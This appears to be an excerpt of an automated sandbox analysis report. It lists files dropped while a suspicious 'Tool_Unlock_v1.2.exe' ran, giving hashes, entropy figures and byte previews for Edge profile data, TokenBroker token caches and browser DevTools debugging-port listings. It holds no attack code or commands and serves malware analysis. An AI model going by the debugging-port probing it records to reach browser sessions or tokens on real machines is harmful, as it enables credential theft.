SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.027568837190883
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclQOjzy:YWLSGTt1o9LuLgfGBPAzkVj/T8lQOjzy
MD5:	EDCCA6FB7E930D0485B51AC49054F49E
SHA1:	DC20089D210AECCEA29342DC659A64D4D9C71B72
SHA-256:	2E2E8A217F7265E8A7173E83E5FB44CA9CD98D6F6FFAE8942E2EEFF617ED6DEF
SHA-512:	794D00AB3B2249F988DF1F704BA0FD3D597394BD6646017EA66AD18FE83A8529E04262AB37F9D6B16F6EE40708CD64FBB76D0F93A73B6812E2C5140174316BEF
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1735548332405784}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b4d26ce1-3417-4d20-9daa-743912dff422.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44682
Entropy (8bit):	6.095987219415459
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB2wushDO6vP6On44ZJ6lV4cCcGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEK6H9chu3VlXr4CRo1
MD5:	08B86B6C26D68CD092695EFAC98E4030
SHA1:	3F53D1A90E726DC387F2B9AA865DB98E5EBE332A
SHA-256:	0FEB332BC250423F4EBC0AE9356ECDA6E1B781B281B463AC4727AF03222E9FC9
SHA-512:	036232D52D45B2FADC15EE4BCF3B0915BB532344519169E16D3EDDD8D970F00CA9152A8493A4B06744308CC4926E788D731967EACC1C98C20D02936C3000E6F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c4ac2b5b-fcb6-47df-af1f-9dad779f600c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45684
Entropy (8bit):	6.087227049075905
Encrypted:	false
SSDEEP:	768:sMkbJrT8IeQc5a9I21u5hDO6vP6On4MZJ6lV4cCVyAbVdGNCAoEGoup1Xl3jVzX6:sMk1rT8Hy9IS6HpVnh8NRoEhu3VlXr4N
MD5:	6A68AC71209B7FA8917C0CD298B83DED
SHA1:	03C08FAEA89580FC9870CB61B2F5BBCB5584A52D
SHA-256:	422ED07120795B880BB20B9D38EA5D4817525A6EE7D52B0E57B4EBD1EF396130
SHA-512:	B14A77F5F6A4BB315E8C6636B1F074DDD1EA199611793E51100FC0D130C2BDC57E62ADDFA1C9E1A1E1DC44CC66FF90485973FA0626326EEF758A8493C8D81C93
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1735447532"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d8792121-2ab5-417e-837c-be562c04d045.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44600
Entropy (8bit):	6.096197694521892
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBiwushDO6vP6On4c0ndDw5ZcGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEG6HJchu3VlXr4CRo1
MD5:	988A8743619A30F4382EC0DD6F2EEEBA
SHA1:	60A9FA16B3DE561E47A5BB9F98A240CD04094FDB
SHA-256:	2D1DF6A9CA98891A6B197954A4EA876C0043C5CB3EECAC70831E8F54E5F2EF50
SHA-512:	4554987D97B35831FB635584023CFF3E886FBEC5BE51A5BE1F7B76DB280EE9B767F16462BAD8783B8966FBF047B3B55A4FB2BD9B5409D71C45A330D30659CDA4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8440915001085467
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxRxl9Il8u/QaKbOleUDaBd1rc:m0Y6BCLDai
MD5:	8AF553D4218FBA7C0E024994829EC1D4
SHA1:	B29CF1E2CB8805AA37A7772A0C870EF367812875
SHA-256:	3AA55B051B47B204C236B308887F28440DF9CEB67BC397FF9C1C05933751E1CF
SHA-512:	7DAE392E808C2FE5FF1877DEB6D1DC03A854854DE732E452D567B214AED1FC2AE7D70105527D09DE8CA1CCC6C0F2C0833C9E56FA157AE6DD799B8EAF96D1D7DB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.I.8.g.3.7.R.Z.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.b.M.t.y.M.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.007826669945564
Encrypted:	false
SSDEEP:	96:UYdObv5sfI5XlzqEKqIvduTqKP2ymZvZIZ:UXtXlzqEKqIFhK1uw
MD5:	A29BBFC01E0B5248DFE0B557F58E44B5
SHA1:	C03CCC60D1AA0EF6E14A644C8741593D365CF7C9
SHA-256:	79FE10CE0E63BEA37F62244EE47DFA37F430C17F87DABDA2E12F81216A5D63D7
SHA-512:	AEA1C3AE72092DEC64B601FBCC87052ECD1D9571C2D488C024F8913FC8CF5838F139B0574CB7F355B07D00957AA0DB8DEB5D1F16167BB348608E22A6038DE723
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".X.w.a.+.x.K.x.Z.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.b.M.t.y.M.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.907208221004922
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x/xl9Il8uZvqFHghyk1MeqfYJL97wG4zS3vrEgVGUQd/vc:aBYaFH0dJLeGogVh
MD5:	7EE04B3E479B4D3EED3E449C9E56332F
SHA1:	F3072A5F6367AE40A7EFEC402D845CE1FE0DCCA3
SHA-256:	FDFFD633123754BAF570AF68E0943190CC43BDD1C747714B680196769812906C
SHA-512:	289D221D143112F10A69F6B1A029866B0275FC3BDD1390AD42B7D5C7631FFF6C04F2861860C9681C825CF4D97FBFA7593FC9755FFA7C5744D62BD973D67417B5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".8.J.F.L.9.X.1.4.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.b.M.t.y.M.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.3964802301711705
Encrypted:	false
SSDEEP:	96:6NnCqHC1NnCUbC/NnCty9CQNnCkQiedgECkQONnCUCtNnCr2RDCoNnC0wCXNnCEe:6N6NiNWmNFQierQONyN02RdNVdNz83b
MD5:	858146E095452DB987D3FD4F5BDF1EB6
SHA1:	44B7AFF903630B06C152F78E12F61CDE1F22174B
SHA-256:	F2CEA6F8988078FA6D26A154EE206B0CAB415D070C173699301E1D0BA012DA11
SHA-512:	AB3851283E8567578FEDB8244BD426438FA253423CAC5AF6A9E120056AB76B56C0E966E98980F76B9756775622FB57253BA4469755B2E58E591F48278325ABA6
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/1CBEE8CBC79917C7C64790DB625B046E",.. "id": "1CBEE8CBC79917C7C64790DB625B046E",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/1CBEE8CBC79917C7C64790DB625B046E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/6B90B4D1201EECAF25B0029750E0076C",.. "id": "6B90B4D1201EECAF25B0029750E0076C",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/6B90B4D1201EECAF25B0029750E0076C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.374007435954049
Encrypted:	false
SSDEEP:	48:SfNaoCjrRTECjPfNaoCxINCxwfNaoCtC9fNaoCchS0UrU0U8Ccy:6NnCjrRTECjnNnCxINCx8NnCtCpNnCj8
MD5:	A201A89012B3D1F9BC0512BDC8987112
SHA1:	B05F7434DAF6DFDFFE8F4884026FF18D29BB19A3
SHA-256:	853F162B424EC81BF6AAD3FE49778DD269B2CF31C0B1622A23A52188B3EE84C2
SHA-512:	E163B7AACC5C74664787501E512CF2AA8F74D5C687A8630FCD6ADAF52D0C2A619DE9003D6D863651CA3014198BEC8AD1724E6840D2799100E8C9B7EF77BA709C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/98D971F6665EB58A546F2A09E5575FA7",.. "id": "98D971F6665EB58A546F2A09E5575FA7",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/98D971F6665EB58A546F2A09E5575FA7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/18BCA3DFCEC57D73AC6B4BD0B125CC33",.. "id": "18BCA3DFCEC57D73AC6B4BD0B125CC33",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/18BCA3DFCEC57D73AC6B4BD0B125CC33"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\1dc54eb2-eb6e-4c1a-8ce8-edc5ce070b90.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\4aaaac2a-7158-406d-8264-2a22dfa4c250.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\85b086e2-50c8-4d46-bfc3-d9bb74b96090.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 11487x11488, segment length 16, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1536948
Entropy (8bit):	7.990252972580521
Encrypted:	true
SSDEEP:	24576:xNhp6EFq5YhZnORAIBx6LpI9brLetNBI4V1xjM8472skbPcnM6gzzLYG:Np6cqGVIBY6ZfOBI2/4hkjcnkB
MD5:	8051332BD91A36A62F8FBBDB86A1F292
SHA1:	1BF37390BCFB6422AE68BE464E80BAC53B32FA70
SHA-256:	2AC152777476AEC9CD7B8F9E22E9E3A37FBC2EAE046B7ED8D5E61EDF7A2DF044
SHA-512:	F984404A9FCCCEAD56A4C6F4A8A23D0D54B17AF864E6543277396DED9F0E0223A8B9B62278D7B550A43B9705926BE7B0E9698BA4010155872887C7A64FAFBD3D
Malicious:	false
Preview:	......JFIF....,.,.......Lavc59.36.100....C...........................................................##$++3...............................................................................!1A.Q.a"B2.qr..R#.3..b.C.sS.c...$..4D..Td..........................1!..AQaq."..2.......B#.bRr..3...$................................?.............}.i.n;z...DWM.m.g..i.\.Y3..-.V....R.;\.M.X..\.y.Us.k..6..y1..r.U...J..9.hB.T..F(.#..Gh".."..............t@.....@......)............(.@....()..@.. ).....)..@.......................)..@.......B.(..(.@...@.......B....B.)............B..........@........().....B.)... ...*........ .(....).....(...... .(....).................... "...@......................P.......A......9(.....t.q.................0v.ptT..;.<.z`(<.vE..;.8:.>.q....?q...7.........r#N.p.=..w#-:..oF.....6.g.aZ...l.l.k..g.eT...l...rUb.hrQ..R.b.R.b.v@";D(..........v.........D.: .@.H......E..AH.R.... .H.R..!@R....HT.!@R..@.P... .H.R.....@.PR......T. .H.R..........P.E..... PR.... ....@.

